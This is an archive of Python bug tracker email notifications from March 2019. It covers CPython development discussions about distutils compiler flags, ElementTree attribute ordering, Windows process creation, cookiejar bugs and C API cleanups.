Date: Mon, 18 Mar 2019 17:34:34 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552930474.99.0.289092865464.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset dd1cfefd67f254ce44f33995922e347c9d3f7b4e by Victor Stinner in branch '3.7':
bpo-36235: Enhance distutils test_customize_compiler() (GH-12403) (GH-12415)
https://github.com/python/cpython/commit/dd1cfefd67f254ce44f33995922e347c9d3f7b4e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:34:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 17:34:35 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552930474.99.0.289092865464.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset dd1cfefd67f254ce44f33995922e347c9d3f7b4e by Victor Stinner in branch '3.7':
bpo-36235: Enhance distutils test_customize_compiler() (GH-12403) (GH-12415)
https://github.com/python/cpython/commit/dd1cfefd67f254ce44f33995922e347c9d3f7b4e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:34:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 17:34:35 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552930475.07.0.556459553391.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 8c380e99e9b71387d5722373805fe3159e2d912c by Victor Stinner in branch '2.7':
bpo-36235: Enhance distutils test_customize_compiler() (GH-12403) (GH-12417)
https://github.com/python/cpython/commit/8c380e99e9b71387d5722373805fe3159e2d912c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:34:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 17:34:44 +0000
Subject: [issue969718] BASECFLAGS are not passed to module build line
Message-ID: <1552930484.78.0.675300533308.issue969718@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

This issue has been fixed by bpo-36235.

----------
nosy: +vstinner
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> distutils.sysconfig.customize_compiler() overrides CFLAGS var with OPT var if CFLAGS env var is set

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue969718>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:35:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 17:35:09 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552930509.51.0.848223333056.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks for the review, I merged my PR and the test enhancements.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:41:35 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Mon, 18 Mar 2019 17:41:35 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552930895.8.0.700519552723.issue36235@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

Oh, I didn't know the bot is not working for now. Thank you for making the test more robust!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:44:30 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 18 Mar 2019 17:44:30 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552931070.91.0.413439137288.issue34160@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Victor, as much as I appreciate backwards compatibility, I really don't think it's a big deal in this case. In fact, it might not even apply.

My (somewhat educated) gut feeling is that most users simply won't care or won't even notice the change. Out of those who do (or have to) care, many are better off by fixing their code to not rely on an entirely arbitrary (sorted by name) attribute order than by getting the old behaviour back. And for those few who really need attributes to be sorted by name, there's the recipe I posted which works on all ElementTree implementations out there with all alive CPython versions.

> This recipe does modify the document and so changes the behaviour of the application when it iterates on attributes later

This is actually a very rare thing. If I were to make up numbers, I'd guess that some 99% of the applications do XML serialisation as the last thing and then throw away the tree afterwards, without touching it (or its attributes) again. And the remaining cases are most probably covered by the "don't need to care" type of users. I don't think we should optimise for 0.05% of our user base by providing a new API option for them. Especially in ElementTree, which decidedly aims to be simple.

The example that Ned gave refers to a very specific and narrow case: comparing serialised XML, at the byte level, in tests. He was very lucky that ElementTree was so stable over the last 10 Python releases that the output did not change at all. That is not something that an XML library needs to guarantee. There is some ambiguity in XML for everything that's outside of the XML Information set, and there is a good reason why the W3C has tackled this ambiguity with an explicit and *separate* specification: C14N. So, when you write:

> Many XML parsers rely on the order of attributes

It's certainly not many parsers, and could even be close to none. The order of attributes is explicitly excluded from the XML Information set:

https://www.w3.org/TR/xml-infoset/#omitted

Despite this, cases where the order of the attributes matters to the *application* are not unheard of. But for them, attributes sorted by their name are most likely the problem and not a solution. Raymond mentioned one such example. Sorting attributes by their name really only fulfils a single purpose: to get reproducible output in cases where the order does *not* matter. For all the (few) cases where the order *does* matter, it gets in the way.

But by removing the sorting, as this change does, we still get predictable output due to dict ordering. So this use case is still covered. It's just not necessarily the same output as before, because now the ordering is entirely in the hands of the users. Meaning, those users who *do* care can now actually influence the ordering, which was very difficult and hackish to achieve before. We are allowing users to remove these hacks, not forcing them to add new ones.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:44:32 2019
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 18 Mar 2019 17:44:32 +0000
Subject: [issue36353] rpath incorrectly handled on OSX by build_ext
In-Reply-To: <1552930315.65.0.323972395891.issue36353@roundup.psfhosted.org>
Message-ID: <1552931072.16.0.966910109221.issue36353@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12372
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36353>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:45:50 2019
From: report at bugs.python.org (Ray Donnelly)
Date: Mon, 18 Mar 2019 17:45:50 +0000
Subject: [issue36354] Use CreateProcessW for Python 2.7 on Windows.
Message-ID: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>


New submission from Ray Donnelly <rdonnelly at anaconda.com>:

Hi all,

I'd like to entertain some discussion around the idea of calling CreateProcessW instead of CreateProcess on Windows.

I've written a patch as a proof of concept and I would love to get some feedback. I guess I've broken the normal ACP/getfilesystemencoding() expectation for byte strings here. My idea to fix this was to use CreateProcessW only when all arguments (program name, arguments, cwd, environment) are unicode already.

The reason we'd like to use it on Anaconda Distribution is that we would like for conda to be able to handle Unicode as well as possible in as many situations as possible, including running a Python2 conda and creating conda envs with all sorts of glyphs in it.

We run into bug reports quite frequently from people who try to install Miniconda2 or Anaconda2 in their home directories due to their username containing certain codepoints.

----------
files: 0017-Use-CreateProcessW-to-support-Unicode.patch
keywords: patch
messages: 338270
nosy: Ray Donnelly, giampaolo.rodola, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Use CreateProcessW for Python 2.7 on Windows.
Added file: https://bugs.python.org/file48216/0017-Use-CreateProcessW-to-support-Unicode.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:47:32 2019
From: report at bugs.python.org (Ray Donnelly)
Date: Mon, 18 Mar 2019 17:47:32 +0000
Subject: [issue36354] Use CreateProcessW for Python 2.7 on Windows.
In-Reply-To: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>
Message-ID: <1552931252.28.0.389427191431.issue36354@roundup.psfhosted.org>


Ray Donnelly <rdonnelly at anaconda.com> added the comment:

.. and alternative to my ACP idea would be to use `GetACP()` or `getfilesystemencoding()` .. or? Suggestions welcome!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:53:12 2019
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Mon, 18 Mar 2019 17:53:12 +0000
Subject: [issue32223] distutils doesn't correctly read UTF-8 content from
 config files
In-Reply-To: <1512492386.04.0.213398074469.issue32223@psf.upfronthosting.co.za>
Message-ID: <1552931592.02.0.744727195087.issue32223@roundup.psfhosted.org>


?ric Araujo <merwok at netwok.org> added the comment:

Repeat: `metadata` in setup.cfg is not supported directly by distutils.  Can you provide a setup.py script that shows the problem without setuptools?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32223>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:59:34 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 17:59:34 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552931974.03.0.383484879262.issue36292@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset a10d426bab66a4e1f20d5e1b9aee3dbb435cf309 by Victor Stinner (stratakis) in branch 'master':
bpo-36292:  Mark unreachable code as such in long bitwise ops (GH-12333)
https://github.com/python/cpython/commit/a10d426bab66a4e1f20d5e1b9aee3dbb435cf309


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Mon Mar 18 14:00:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 18:00:25 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552932025.57.0.745544650569.issue36292@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I hope that the change will satisfy the god of static analyzers :-)

I discussed with Charalampos and we agreed to not backport this change, since it's a false alarm and not a real bug. I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Mon Mar 18 14:11:34 2019
From: report at bugs.python.org (Julien Palard)
Date: Mon, 18 Mar 2019 18:11:34 +0000
Subject: [issue35605] backported patch requires new sphinx,
 minimum sphinx version was not bumped
In-Reply-To: <1546016436.32.0.942702382011.issue35605@roundup.psfhosted.org>
Message-ID: <1552932694.21.0.827734968801.issue35605@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:


New changeset 869652b426bb34a30ce7b39f0a0ac242ed5b1016 by Julien Palard in branch '2.7':
[2.7] bpo-35605: Fix documentation build for sphinx<1.6 (GH-12413)
https://github.com/python/cpython/commit/869652b426bb34a30ce7b39f0a0ac242ed5b1016


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35605>
_______________________________________

From report at bugs.python.org  Mon Mar 18 14:18:00 2019
From: report at bugs.python.org (Julien Palard)
Date: Mon, 18 Mar 2019 18:18:00 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1552933080.6.0.212603688049.issue36345@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

If it's appreciated as a demo for wsgiref, wouldn't it be better to move it inside Doc/library/wsgiref.rst?

It was written specifically for the Doc/Makefile, it's no longer needed for the Doc/Makefile, so the question pops: is it usefull to anyone? If not it's better to drop it (or move it to the documentation as a nice, time-proven example).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 14:20:43 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 18:20:43 +0000
Subject: [issue12144] cookielib.CookieJar.make_cookies fails for cookies with
 'expires' set
In-Reply-To: <1306033124.86.0.836605602237.issue12144@psf.upfronthosting.co.za>
Message-ID: <1552933243.19.0.243732123701.issue12144@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This issue is still reproducible on master and below is a unittest. The patch looks reasonable to me and fixes the issue. @demian.brecht, would you like to convert the patch to a PR ?

diff --git a/Lib/test/test_http_cookiejar.py b/Lib/test/test_http_cookiejar.py
index 22bf41cf1d..3540a3d94f 100644
--- a/Lib/test/test_http_cookiejar.py
+++ b/Lib/test/test_http_cookiejar.py
@@ -585,6 +585,13 @@ class CookieTests(unittest.TestCase):
         # if expires is in future, keep cookie...
         c = CookieJar()
         future = time2netscape(time.time()+3600)
+
+        headers = ["Set-Cookie: CUSTOMER=WILE_E_COYOTE; path=/; expires={0}".format(future)]
+        req = urllib.request.Request("http://www.coyote.com/")
+        res = FakeResponse(headers, "http://www.coyote.com/")
+        cookies = c.make_cookies(res, req)
+
+        c = CookieJar()
         interact_netscape(c, "http://www.acme.com/", 'spam="bar"; expires=%s' %
                           future)
         self.assertEqual(len(c), 1)

$ ./python.exe -m unittest -v test.test_http_cookiejar.CookieTests.test_expires
test_expires (test.test_http_cookiejar.CookieTests) ... /Users/karthikeyansingaravelan/stuff/python/cpython/Lib/http/cookiejar.py:1619: UserWarning: http.cookiejar bug!
Traceback (most recent call last):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/http/cookiejar.py", line 1616, in make_cookies
    ns_cookies = self._cookies_from_attrs_set(
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/http/cookiejar.py", line 1574, in _cookies_from_attrs_set
    cookie = self._cookie_from_cookie_tuple(tup, request)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/http/cookiejar.py", line 1546, in _cookie_from_cookie_tuple
    elif expires <= self._now:
AttributeError: 'CookieJar' object has no attribute '_now'

  _warn_unhandled_exception()
ok

----------------------------------------------------------------------
Ran 1 test in 0.043s

OK

----------
nosy: +xtreak
versions: +Python 3.7, Python 3.8 -Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12144>
_______________________________________

From report at bugs.python.org  Mon Mar 18 14:21:48 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Mon, 18 Mar 2019 18:21:48 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1552933308.96.0.670642982343.issue36318@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:

> If the `disabled` attribute should not be part of the public API it should have been name `_disabled`.

A bit late for that now, and AFAIK it hasn't caused people insuperable problems heretofore - the code has been like this pretty much since the logging package was added to Python.


> So it should be doable from `logging.config.dictConfig` too in my opinion.

Let's just agree to disagree on this for now. It's certainly not a common use case, there are other ways to achieve the desired result in those uncommon cases, and the argument seems to come back to "consistency". I'd rather leave this as it is.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:06:02 2019
From: report at bugs.python.org (Paul Moore)
Date: Mon, 18 Mar 2019 19:06:02 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552935962.04.0.430510229984.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

Thanks! That seems to have done it. Update to the PR incoming once my test build completes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:06:08 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 18 Mar 2019 19:06:08 +0000
Subject: [issue36347] Add the constant READWRITE for PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1552935968.44.0.215613331366.issue36347@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Serhiy: Problem is that READONLY already exists, so PY_READWRITE would be inconsistent.

Given currently READONLY is just defined as:

#define READONLY 1

I suppose a solution to maintain consistency (of a sort) would be to add the definitions:

#define PY_READWRITE 0
#define PY_READONLY 1

leaving READONLY defined as well for backwards compatibility.

Names chosen are public names, since I'm pretty sure READONLY is considered part of the public API, given that PyMemberDef and its fields definitely are, and it would be impossible to use the flags field correctly if READONLY wasn't part of the public API.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:06:53 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 19:06:53 +0000
Subject: [issue24565] the f_lineno getter is broken
In-Reply-To: <1436042198.13.0.515231192679.issue24565@psf.upfronthosting.co.za>
Message-ID: <1552936013.53.0.695360460993.issue24565@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
pull_requests: +12373

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24565>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:17:38 2019
From: report at bugs.python.org (Demian Brecht)
Date: Mon, 18 Mar 2019 19:17:38 +0000
Subject: [issue12144] cookielib.CookieJar.make_cookies fails for cookies with
 'expires' set
In-Reply-To: <1306033124.86.0.836605602237.issue12144@psf.upfronthosting.co.za>
Message-ID: <1552936658.73.0.233573467851.issue12144@roundup.psfhosted.org>


Demian Brecht <demianbrecht at gmail.com> added the comment:

@xtreak sure, can do. May not have time to do so today but should be able to do so over the next couple days.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12144>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:18:19 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 18 Mar 2019 19:18:19 +0000
Subject: [issue36355] Remove documentation and internal use of the RESTRICTED
 constants for PyMemberDef's flags field
Message-ID: <1552936699.26.0.01319442845.issue36355@roundup.psfhosted.org>


New submission from Josh Rosenberg <shadowranger+python at gmail.com>:

While looking up background info for #36347, I noticed that the docs for PyMemberDef ( https://docs.python.org/3/extending/newtypes.html#generic-attribute-management ) define the following flags:

* READONLY
* READ_RESTRICTED
* WRITE_RESTRICTED
* RESTRICTED

Of those, WRITE_RESTRICTED has been documented incorrectly since Python 3.0a2 (it got renamed to PY_WRITE_RESTRICTED in structmember.h, apparently due to a name clash with VS 2008 on Windows).

Luckily, the constants are useless; AFAICT they were there solely to support restricted mode (via the rexec and Bastion modules). The modules were apparently disabled in Python 2.3 "due to various known and not readily fixable security holes" ( https://docs.python.org/2/library/restricted.html ), and the modules themselves officially deprecated in 2.6, and removed completely in 3.0.

Rather than fixing up the docs, maybe it's time to kill these constants for good? Probably shouldn't remove the definitions in structmember.h (if someone wrote code using them, we shouldn't needlessly break compilation), but the interpreter and standard library should stop setting them, and the documentation for them should be removed.

----------
assignee: docs at python
components: Documentation, Extension Modules, Interpreter Core
messages: 338282
nosy: docs at python, josh.r
priority: normal
severity: normal
status: open
title: Remove documentation and internal use of the RESTRICTED constants for PyMemberDef's flags field
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36355>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:20:23 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 18 Mar 2019 19:20:23 +0000
Subject: [issue36355] Remove documentation and internal use of the *RESTRICTED
 constants for PyMemberDef's flags field
In-Reply-To: <1552936699.26.0.01319442845.issue36355@roundup.psfhosted.org>
Message-ID: <1552936823.55.0.491065220553.issue36355@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

To be clear, only the constants that include the substring RESTRICTED are useless; READONLY remains useful and should not be removed (though per my suggestion on #36347, it might be good to add an alias for it named PY_READONLY to match the Python C API naming conventions).

----------
title: Remove documentation and internal use of the RESTRICTED constants for PyMemberDef's flags field -> Remove documentation and internal use of the *RESTRICTED constants for PyMemberDef's flags field

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36355>
_______________________________________

From report at bugs.python.org  Mon Mar 18 16:01:02 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 18 Mar 2019 20:01:02 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552939262.72.0.623392285207.issue36346@roundup.psfhosted.org>


Change by Stefan Behnel <stefan_ml at behnel.de>:


----------
nosy: +scoder

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 16:05:26 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 18 Mar 2019 20:05:26 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552939526.2.0.0184640511704.issue36346@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Thanks for implementing this, Serhiy.
Since these C macros are public, should they be named PY_* ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 16:46:26 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 18 Mar 2019 20:46:26 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552941986.21.0.339487808252.issue36346@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

I think this is a good preparation that makes it clear what code will eventually be removed, and allows testing without it.

No idea how happy Windows users will be about all of this, but I consider it quite an overall improvement for the Unicode implementation. Once this gets removed, that is.

Removing the "unicode_internal" codec entirely (which is changed by this PR) is discussed in issue36297.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:00:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 21:00:37 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552942837.19.0.390490018667.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12374

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:00:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 21:00:37 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552942837.24.0.398072508015.issue36333@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12375

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:06:40 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Mon, 18 Mar 2019 21:06:40 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552943200.08.0.443974941236.issue36346@roundup.psfhosted.org>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

I'd change the title of this bpo item to "Prepare for removing the whcar_t caching in the Unicode C API".

Note that the wchar_t caching was put in place to allow for external applications and C code to easily and efficiently interface with Python. By removing it you will slow down such code significantly, esp. on Linux and Windows where wchar_t code is fairly common (one of the reasons we added UCS4 in Python was to make the interaction with Linux wchar_t code more efficient).

This should be clearly mentioned as part of the change and the compile time flags.


BTW: You have a few other changes in the PR which don't have anything to do with the intended removal:

-    envsize = PySequence_Fast_GET_SIZE(keys);
-    if (PySequence_Fast_GET_SIZE(values) != envsize) {
+    envsize = PyList_GET_SIZE(keys);
+    if (PyList_GET_SIZE(values) != envsize) {

----------
nosy: +lemburg

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:24:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 21:24:30 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552944270.99.0.728458230073.issue36333@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset c183444f7e2640b054956474d71aae6e8d31a543 by Victor Stinner in branch 'master':
bpo-36301: Fix Py_Main() memory leaks (GH-12420)
https://github.com/python/cpython/commit/c183444f7e2640b054956474d71aae6e8d31a543


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:24:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 21:24:30 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552944270.92.0.832373108847.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset c183444f7e2640b054956474d71aae6e8d31a543 by Victor Stinner in branch 'master':
bpo-36301: Fix Py_Main() memory leaks (GH-12420)
https://github.com/python/cpython/commit/c183444f7e2640b054956474d71aae6e8d31a543


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:33:35 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 18 Mar 2019 21:33:35 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552944815.78.0.484386266384.issue36346@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

I had also looked through the unrelated changes, and while, yes, they are unrelated, they seemed to be correct and reasonable modernisations of the code base while touching it. They could be moved to a separate PR, but there is a relatively high risk of conflicts, so I'm ok with keeping them in here for now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:53:01 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Mon, 18 Mar 2019 21:53:01 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552944815.78.0.484386266384.issue36346@roundup.psfhosted.org>
Message-ID: <9478f642-01fa-1d77-7fed-c1ffc562a26f@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

On 18.03.2019 22:33, Stefan Behnel wrote:
> 
> I had also looked through the unrelated changes, and while, yes, they are unrelated, they seemed to be correct and reasonable modernisations of the code base while touching it. They could be moved to a separate PR, but there is a relatively high risk of conflicts, so I'm ok with keeping them in here for now.

I don't think changing sequence iteration to list iteration only
is something that should be hidden in a wchar_t removal PR.

My guess is that these changes have made it into the PR by mistake.
They deserve a separate PR and discussion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 17:55:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 21:55:35 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552946135.51.0.0762725164817.issue34160@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Victor, as much as I appreciate backwards compatibility, I really don't think it's a big deal in this case.

In short, the XML serialization is no longer deterministic. It depends in which order attributes are defined. Example:
---
from xml.etree import ElementTree as ET

document = ET.Element('document')
document.attrib['a'] = '1'
document.attrib['b'] = '2'
ET.dump(document)

document = ET.Element('document')
document.attrib['b'] = '2'
document.attrib['a'] = '1'
ET.dump(document)
---

Python 3.7 output:
---
<document a="1" b="2" />
<document a="1" b="2" />
---

